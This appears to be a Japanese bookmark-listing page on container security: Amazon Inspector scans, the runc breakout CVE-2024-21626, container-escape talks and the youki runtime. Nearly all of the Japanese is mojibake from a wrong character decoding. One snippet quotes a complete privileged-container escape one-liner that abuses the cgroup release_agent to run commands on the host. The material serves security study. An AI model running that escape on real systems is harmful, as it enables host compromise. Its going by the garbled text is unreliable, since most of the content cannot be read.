Linuxカーãƒãƒ«ã®ã‚³ãƒ³ãƒ†ãƒŠæŠ€è¡“を解説ã™ã‚‹äººæ°—シリーズ『Linux Container Bookã€ç¬¬3å¼¾ãŒç™ºå£²ï¼ã€ŽLinux Container Book 3ã€ã¯ç‰¹æ®Šãªæ©Ÿèƒ½ã‚„ã‚»ã‚ュリティé¢ã«ãŠã‘る興味深ã„点を深掘りã€Book Watch/ニュース】
GitHub Actions 㧠Amazon Inspector を利用ã—ãŸè„†å¼±æ€§ã‚¹ã‚ャンを行ㆠ- 電通ç·ç ” テックブãƒã‚°
ã“ã‚“ã«ã¡ã¯ã€‚コーãƒãƒ¬ãƒ¼ãƒˆæœ¬éƒ¨ サイãƒãƒ¼ã‚»ã‚ュリティ推進部ã®è€¿ã§ã™ã€‚ 2024/6ã« Amazon Inspector ㌠GitHub Actions ã§ã®ã‚³ãƒ³ãƒ†ãƒŠã‚¤ãƒ¡ãƒ¼ã‚¸ã‚¹ã‚ャンをサãƒãƒ¼ãƒˆã—ãŸã¨ã®ã‚¢ãƒŠã‚¦ãƒ³ã‚¹ãŒã‚ã‚Šã¾ã—ãŸã€‚コンテナイメージã®è„†å¼±æ€§ã‚¹ã‚ャンã«æ—¢ã«Trivyを利用ã—ã¦ã„る方も多ã„ã¨æ€ã„ã¾ã™ãŒã€åˆ¥ã®é¸æŠžè‚¢ã¨ã—㦠Inspector ã«ã‚ˆã‚‹ã‚¹ã‚ャンを試ã—ã¦ã¿ã¾ã—ãŸã€‚ ã¾ãŸã€å®Ÿã¯ã‚³ãƒ³ãƒ†ãƒŠã‚¤ãƒ¡ãƒ¼ã‚¸ã®ã‚¹ã‚ャンã ã‘ã§ã¯ãªãã€è¨€èªžãƒ‘ッケージã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ãƒ•ã‚¡ã‚¤ãƒ«ã‚„Dockerfileã‚’é™çš„解æžã™ã‚‹ã“ã¨ã‚‚å¯èƒ½ã®ãŸã‚ã€ãれもやã£ã¦ã¿ã¾ã—ãŸã€‚ 仕組㿠アクションをç´è§£ã リãƒã‚¸ãƒˆãƒªå†…ã®ãƒ•ã‚¡ã‚¤ãƒ«ã‚’スã‚ャンã™ã‚‹å ´åˆ 試ã—ã¦ã¿ãŸ サマリページã®çµæžœ CSVå½¢å¼ã®æ¤œå‡ºçµæžœ JSONå½¢å¼ã®æ¤œå‡ºçµæžœ Markdownå½¢å¼ã®æ¤œå‡ºçµæžœ 脆弱性ãŒæ¤œå‡ºã•ã‚Œãªã‹ã£ãŸå ´åˆ コンテナイメージをスã‚ャンã™ã‚‹å ´åˆ サマリページã®
runc working directory breakout (CVE-2024-21626)
runc working directory breakout (CVE-2024-21626) by Mohit Gupta Snyk recently identified a flaw in runc <= 1.1.11, CVE-2024-21626. This issue effectively allowed an attacker to gain filesystem access to the underlying host's OS, which could be used to gain privileged access to the host. This has an impact on orchestration based environments which use runc, such as Kubernetes. An attacker able to d
コンテナをçªãç ´ã‚Œï¼ï¼ ～コンテナセã‚ュリティ入門基礎ã®åŸºç¤Žï½žï¼ˆKubernetes Novice Tokyo #11 発表資料）
2021/06/22 Kubernetes Novice Tokyo #11 コンテナをçªãç ´ã‚Œï¼ï¼ã€œã‚³ãƒ³ãƒ†ãƒŠã‚»ã‚ュリティ入門基礎ã®åŸºç¤Žã€œ
cgroup ã® release_agent を使ã£ãŸç‰¹æ¨©ã‚³ãƒ³ãƒ†ãƒŠã‹ã‚‰ã®ã‚¨ã‚¹ã‚±ãƒ¼ãƒ—
å…ƒãƒã‚¿ : https://twitter.com/_fel1x/status/1151487051986087936 d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o — Felix Wilhelm (@_fel1x) July 17, 2019 特権( CAP_SYS_ADMIN )コンテナ㧠cgr
ミニã‚ャンプ愛媛ã§ã®ã‚³ãƒ³ãƒ†ãƒŠç·¨ã‚’実行ã—ã¦ã¿ãŸ - script day.log
Outline Outline 仮想化(virutalization) ãƒã‚¤ãƒ‘ーãƒã‚¤ã‚¶/ホスト型仮想化ã®é•ã„ コンテナã¯ã©ã‚“ãªã¨ã“ã‚ã«ä½¿ã‚ã‚Œã¦ã„ã‚‹ã ã‚ã†ã‹ï¼Ÿ コンテナã®ã‚»ã‚ュリティ コンテナã®å®Ÿè£… コンテナã®ãƒ¡ãƒªãƒƒãƒˆ/デメリット メリット デメリット コンテナã¯ã©ã†ã‚„ã£ã¦å®Ÿè£…ã•ã‚Œã¦ã„ã‚‹ã®ã ã‚ã†ã‹ï¼Ÿ コンテナã¯ãƒ—ãƒã‚»ã‚¹ 自作コンテナ by Haconiwa ã§ã¯ï¼Œã¾ãšã‚³ãƒ³ãƒ†ãƒŠã¯ãƒ—ãƒã‚»ã‚¹ãªã®ã§forkã™ã‚‹ã¨ã“ã‚ã‹ã‚‰å§‹ã‚ã¾ã™ï¼Ž Namespaceを分離ã—ã¾ã™ cgroupã‚’è¨å®š Capabilityã‚’è¨å®š コンテナã¸ã®Attack コンテナã®ã‚»ã‚ュリティ機構 Attack Surfaces スイスãƒãƒ¼ã‚ºãƒ¢ãƒ‡ãƒ« AppArmor /sys/kernel/uevent_helper /proc/sysrq-trigger AppArmorã®é©ç”¨ AppArmorã«ã‚ˆã‚‹ä¿è· seccomp secco
1
リリースã€éšœå®³æƒ…å ±ãªã©ã®ã‚µãƒ¼ãƒ“スã®ãŠçŸ¥ã‚‰ã›
最新ã®äººæ°—エントリーã®é…ä¿¡
j次ã®ãƒ–ックマーク
kå‰ã®ãƒ–ックマーク
lã‚ã¨ã§èªã‚€
eコメント一覧を開ã
oページを開ã
詳説 OCIコンテナランタイムyouki@第15回 コンテナ技術ã®æƒ…å ±äº¤æ›ä¼š
{{#tags}}- {{label}}
{{/tags}}